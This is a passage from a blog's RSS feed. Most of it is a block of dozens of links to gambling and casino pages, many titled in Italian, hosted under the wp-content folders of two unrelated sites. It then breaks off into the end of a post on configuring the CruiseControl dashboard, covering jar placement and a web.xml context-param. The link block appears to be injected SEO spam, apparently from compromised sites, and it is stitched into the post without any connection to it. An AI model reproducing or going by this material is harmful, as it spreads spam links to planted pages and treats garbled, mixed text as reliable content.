bonus,poker con bonus,poker bonus</a><a href="http://www.familiasantamaria.net/wp-content/1/street-poker-online.html">street poker online</a><a href="http://www.familiasantamaria.net/wp-content/1/sexi-poker-online.html">sexi poker online</a><a href="http://www.familiasantamaria.net/wp-content/1/sexy-poker-online.html">sexy poker online</a><a href="http://www.familiasantamaria.net/wp-content/1/how-to-play-poker.html">how to play poker</a><a href="http://www.familiasantamaria.net/wp-content/1/gioco-carte-poker.html">gioco carte poker</a><a href="http://www.familiasantamaria.net/wp-content/1/poker-carte-gratis.html">poker carte gratis</a><a href="http://www.familiasantamaria.net/wp-content/1/tornei-di-poker-gratis.html">tornei di poker gratis</a><a href="http://www.familiasantamaria.net/wp-content/1/online-poker-game.html">online poker game</a><a href="http://www.familiasantamaria.net/wp-content/1/party-poker-bonus.html">party poker bonus</a><a href="http://www.safehavenforum.co.uk/wp-content/1/craps-in-linea.html">craps in linea</a><a href="http://www.safehavenforum.co.uk/wp-content/1/virtual-gambling.html">virtual gambling</a><a href="http://www.safehavenforum.co.uk/wp-content/1/scaricare-casino-gratis.html">scaricare casino gratis</a><a href="http://www.safehavenforum.co.uk/wp-content/1/online-casino-games.html">online casino games</a><a href="http://www.safehavenforum.co.uk/wp-content/1/bonus-dei-casino.html">bonus dei casino</a><a href="http://www.safehavenforum.co.uk/wp-content/1/gioco-keno-gratis.html">gioco keno gratis</a><a href="http://www.safehavenforum.co.uk/wp-content/1/roulette-on-line.html">casino on line roulette,roulette on line,giochi on line roulette</a><a href="http://www.safehavenforum.co.uk/wp-content/1/giochi-keno-inlinea.html">giochi keno inlinea</a><a href="http://www.safehavenforum.co.uk/wp-content/1/giochi-casino-pc.html">giochi casino pc</a><a href="http://www.safehavenforum.co.uk/wp-content/1/sistemi-roulette.html">sistemi roulette</a><a href="http://www.safehavenforum.co.uk/wp-content/1/casino-tropez.html">casino tropez</a><a href="http://www.safehavenforum.co.uk/wp-content/1/gioco-craps-in-linea.html">gioco craps in linea</a><a href="http://www.safehavenforum.co.uk/wp-content/1/www-giochi-casino.html">www giochi casino</a><a href="http://www.safehavenforum.co.uk/wp-content/1/blog-casino-online.html">blog casino online</a><a href="http://www.safehavenforum.co.uk/wp-content/1/keno-inlinea.html">keno inlinea</a><a href="http://www.safehavenforum.co.uk/wp-content/1/casino-poker-gratis.html">casino poker gratis</a><a href="http://www.safehavenforum.co.uk/wp-content/1/best-casino-online.html">best casino online</a><a href="http://www.safehavenforum.co.uk/wp-content/1/automatic-video-poker.html">automatic video poker</a><a href="http://www.safehavenforum.co.uk/wp-content/1/casino-tropez-bonus-code.html">casino tropez bonus code</a><a href="http://www.safehavenforum.co.uk/wp-content/1/giochi-video-poker.html">giochi video poker</a><a href="http://www.safehavenforum.co.uk/wp-content/1/roulette-strategy.html">roulette strategy</a><a href="http://www.safehavenforum.co.uk/wp-content/1/risposte-eurobarre-casino-on-net.html">risposte eurobarre casino on net</a><a href="http://www.safehavenforum.co.uk/wp-content/1/vincere-casino-online.html">vincere casino online</a><a href="http://www.safehavenforum.co.uk/wp-content/1/lista-casino-online.html">lista casino online</a></u> of the xml-related jars (saxon, jdom, xerces, xml*) into the WEB-INF/lib directory of the dashboard war</li>
<li>I had to update WEB-INF/web.xml and add a context-param to specify the location of the config-xml file.</li>
</ol>
<p>Note: You might think that you can give it the correct filename at the web interface, but that never worked for me, no matter how I tried to tweak it.</p>
<p>At the end of the day, cruisecontrol requires a great deal of by-hand tweaking to get it to work for your project.  That&#8217;s not necessarily the end of the world, but it is a little disconcerting, since the documentation isn&#8217;t really clear about how you do this setup, where and so forth.</p>
]]></content:encoded>
			<wfw:commentRss>http://undefined.com/ia/2008/03/17/more-on-cruisecontrol-dashboard/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
